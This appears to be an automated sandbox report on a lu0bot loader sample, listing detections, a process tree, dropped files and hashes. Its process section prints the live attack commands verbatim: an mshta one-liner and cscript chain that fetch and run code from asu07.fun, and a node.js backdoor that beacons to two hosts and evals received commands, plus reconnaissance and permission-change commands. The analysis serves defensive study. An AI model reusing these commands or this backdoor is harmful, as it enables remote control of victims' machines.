Analysis
-
max time kernel
148s -
max time network
194s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
04-08-2021 10:12
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210804-120800.exe
Resource
win7v20210410
General
-
Target
usfive_20210804-120800.exe
-
Size
2KB
-
MD5
ae597b5df58ab4f01867bb5eaac93efd
-
SHA1
c8a13f566a130f18507e824e1e5c167b186a65a7
-
SHA256
a565b1d26d7c7ea28aad5f1c23fb5c055198d200147589c7dc36e3e1fa13e119
-
SHA512
fd978db8ff6d1fc7625ec996938022d3e191a5b58d7dcd0a430f80e1558f4986aaaeff2cc57f0d21451905d24494f7c5581b349e2d75d28a77e5430309f13afa
Malware Config
Signatures
-
suricata: ET MALWARE lu0bot Loader HTTP Request
-
suricata: ET MALWARE lu0bot Loader HTTP Response
-
Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 3 1980 mshta.exe 4 1552 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 1048 node.exe -
Loads dropped DLL 1 IoCs
Processes:
cscript.exepid process 552 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 672 ipconfig.exe 1644 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\14d458748bf9f069:ads node.exe File created C:\ProgramData\DNTException\node.exe:f74d5dd78a40f3480f9b890812f00a0a node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
node.exepid process 1048 node.exe 1048 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 1480 tasklist.exe Token: SeIncreaseQuotaPrivilege 1288 wmic.exe Token: SeSecurityPrivilege 1288 wmic.exe Token: SeTakeOwnershipPrivilege 1288 wmic.exe Token: SeLoadDriverPrivilege 1288 wmic.exe Token: SeSystemProfilePrivilege 1288 wmic.exe Token: SeSystemtimePrivilege 1288 wmic.exe Token: SeProfSingleProcessPrivilege 1288 wmic.exe Token: SeIncBasePriorityPrivilege 1288 wmic.exe Token: SeCreatePagefilePrivilege 1288 wmic.exe Token: SeBackupPrivilege 1288 wmic.exe Token: SeRestorePrivilege 1288 wmic.exe Token: SeShutdownPrivilege 1288 wmic.exe Token: SeDebugPrivilege 1288 wmic.exe Token: SeSystemEnvironmentPrivilege 1288 wmic.exe Token: SeRemoteShutdownPrivilege 1288 wmic.exe Token: SeUndockPrivilege 1288 wmic.exe Token: SeManageVolumePrivilege 1288 wmic.exe Token: 33 1288 wmic.exe Token: 34 1288 wmic.exe Token: 35 1288 wmic.exe Token: SeIncreaseQuotaPrivilege 1288 wmic.exe Token: SeSecurityPrivilege 1288 wmic.exe Token: SeTakeOwnershipPrivilege 1288 wmic.exe Token: SeLoadDriverPrivilege 1288 wmic.exe Token: SeSystemProfilePrivilege 1288 wmic.exe Token: SeSystemtimePrivilege 1288 wmic.exe Token: SeProfSingleProcessPrivilege 1288 wmic.exe Token: SeIncBasePriorityPrivilege 1288 wmic.exe Token: SeCreatePagefilePrivilege 1288 wmic.exe Token: SeBackupPrivilege 1288 wmic.exe Token: SeRestorePrivilege 1288 wmic.exe Token: SeShutdownPrivilege 1288 wmic.exe Token: SeDebugPrivilege 1288 wmic.exe Token: SeSystemEnvironmentPrivilege 1288 wmic.exe Token: SeRemoteShutdownPrivilege 1288 wmic.exe Token: SeUndockPrivilege 1288 wmic.exe Token: SeManageVolumePrivilege 1288 wmic.exe Token: 33 1288 wmic.exe Token: 34 1288 wmic.exe Token: 35 1288 wmic.exe Token: SeDebugPrivilege 1644 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
usfive_20210804-120800.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 1672 wrote to memory of 1980 1672 usfive_20210804-120800.exe mshta.exe PID 1672 wrote to memory of 1980 1672 usfive_20210804-120800.exe mshta.exe PID 1672 wrote to memory of 1980 1672 usfive_20210804-120800.exe mshta.exe PID 1672 wrote to memory of 1980 1672 usfive_20210804-120800.exe mshta.exe PID 1980 wrote to memory of 1544 1980 mshta.exe cmd.exe PID 1980 wrote to memory of 1544 1980 mshta.exe cmd.exe PID 1980 wrote to memory of 1544 1980 mshta.exe cmd.exe PID 1980 wrote to memory of 1544 1980 mshta.exe cmd.exe PID 1544 wrote to memory of 1552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 1552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 1552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 1552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 1132 1544 cmd.exe expand.exe PID 1544 wrote to memory of 1132 1544 cmd.exe expand.exe PID 1544 wrote to memory of 1132 1544 cmd.exe expand.exe PID 1544 wrote to memory of 1132 1544 cmd.exe expand.exe PID 1544 wrote to memory of 552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 552 1544 cmd.exe cscript.exe PID 1544 wrote to memory of 552 1544 cmd.exe cscript.exe PID 552 wrote to memory of 1048 552 cscript.exe node.exe PID 552 wrote to memory of 1048 552 cscript.exe node.exe PID 552 wrote to memory of 1048 552 cscript.exe node.exe PID 552 wrote to memory of 1048 552 cscript.exe node.exe PID 1048 wrote to memory of 1036 1048 node.exe cmd.exe PID 1048 wrote to memory of 1036 1048 node.exe cmd.exe PID 1048 wrote to memory of 1036 1048 node.exe cmd.exe PID 1048 wrote to memory of 1036 1048 node.exe cmd.exe PID 1048 wrote to memory of 1828 1048 node.exe cacls.exe PID 1048 wrote to memory of 1828 1048 node.exe cacls.exe PID 1048 wrote to memory of 1828 1048 node.exe cacls.exe PID 1048 wrote to memory of 1828 1048 node.exe cacls.exe PID 1048 wrote to memory of 1560 1048 node.exe icacls.exe PID 1048 wrote to memory of 1560 1048 node.exe icacls.exe PID 1048 wrote to memory of 1560 1048 node.exe icacls.exe PID 1048 wrote to memory of 1560 1048 node.exe icacls.exe PID 1048 wrote to memory of 1416 1048 node.exe attrib.exe PID 1048 wrote to memory of 1416 1048 node.exe attrib.exe PID 1048 wrote to memory of 1416 1048 node.exe attrib.exe PID 1048 wrote to memory of 1416 1048 node.exe attrib.exe PID 1048 wrote to memory of 976 1048 node.exe attrib.exe PID 1048 wrote to memory of 976 1048 node.exe attrib.exe PID 1048 wrote to memory of 976 1048 node.exe attrib.exe PID 1048 wrote to memory of 976 1048 node.exe attrib.exe PID 1048 wrote to memory of 1480 1048 node.exe tasklist.exe PID 1048 wrote to memory of 1480 1048 node.exe tasklist.exe PID 1048 wrote to memory of 1480 1048 node.exe tasklist.exe PID 1048 wrote to memory of 1480 1048 node.exe tasklist.exe PID 1048 wrote to memory of 1288 1048 node.exe wmic.exe PID 1048 wrote to memory of 1288 1048 node.exe wmic.exe PID 1048 wrote to memory of 1288 1048 node.exe wmic.exe PID 1048 wrote to memory of 1288 1048 node.exe wmic.exe PID 1048 wrote to memory of 672 1048 node.exe ipconfig.exe PID 1048 wrote to memory of 672 1048 node.exe ipconfig.exe PID 1048 wrote to memory of 672 1048 node.exe ipconfig.exe PID 1048 wrote to memory of 672 1048 node.exe ipconfig.exe PID 1048 wrote to memory of 1720 1048 node.exe route.exe PID 1048 wrote to memory of 1720 1048 node.exe route.exe PID 1048 wrote to memory of 1720 1048 node.exe route.exe PID 1048 wrote to memory of 1720 1048 node.exe route.exe PID 1048 wrote to memory of 1644 1048 node.exe netstat.exe PID 1048 wrote to memory of 1644 1048 node.exe netstat.exe PID 1048 wrote to memory of 1644 1048 node.exe netstat.exe PID 1048 wrote to memory of 1644 1048 node.exe netstat.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 1416 attrib.exe 976 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\usfive_20210804-120800.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-120800.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628071998970.txt & cscript /nologo /e:jscript get1628071998970.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2c762c4c9%26b%3D667e6f02" node.cab & expand node.cab node.exe & del get1628071998970.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628071998970.txt & cscript /nologo /e:jscript get1628071998970.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27c762c4c9%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628071998970.txt3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628071998970.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2c762c4c9%26b%3D667e6f02" node.cab4⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628071998970.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27c762c4c9%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27c762c4c9%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
-
C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
-
C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
-
C:\Windows\SysWOW64\route.exeroute.exe print6⤵
-
C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\DNTException\get1628071998970.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
-
C:\ProgramData\DNTException\get1628071998970.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
-
C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
memory/268-91-0x0000000000000000-mapping.dmp
-
memory/552-67-0x0000000000000000-mapping.dmp
-
memory/672-87-0x0000000000000000-mapping.dmp
-
memory/976-84-0x0000000000000000-mapping.dmp
-
memory/1036-80-0x0000000000000000-mapping.dmp
-
memory/1048-78-0x0000000007700000-0x0000000007701000-memory.dmpFilesize
4KB
-
memory/1048-79-0x000000001EF00000-0x000000001EF01000-memory.dmpFilesize
4KB
-
memory/1048-77-0x000000000E600000-0x000000000E601000-memory.dmpFilesize
4KB
-
memory/1048-76-0x000000001C400000-0x000000001C401000-memory.dmpFilesize
4KB
-
memory/1048-75-0x000000003D800000-0x000000003D801000-memory.dmpFilesize
4KB
-
memory/1048-74-0x000000001D800000-0x000000001D801000-memory.dmpFilesize
4KB
-
memory/1048-72-0x0000000000000000-mapping.dmp
-
memory/1132-65-0x0000000000000000-mapping.dmp
-
memory/1288-86-0x0000000000000000-mapping.dmp
-
memory/1416-83-0x0000000000000000-mapping.dmp
-
memory/1480-85-0x0000000000000000-mapping.dmp
-
memory/1544-61-0x0000000000000000-mapping.dmp
-
memory/1552-64-0x00000000767B1000-0x00000000767B3000-memory.dmpFilesize
8KB
-
memory/1552-62-0x0000000000000000-mapping.dmp
-
memory/1560-82-0x0000000000000000-mapping.dmp
-
memory/1644-90-0x0000000000000000-mapping.dmp
-
memory/1720-89-0x0000000000000000-mapping.dmp
-
memory/1828-81-0x0000000000000000-mapping.dmp
-
memory/1980-60-0x0000000000000000-mapping.dmp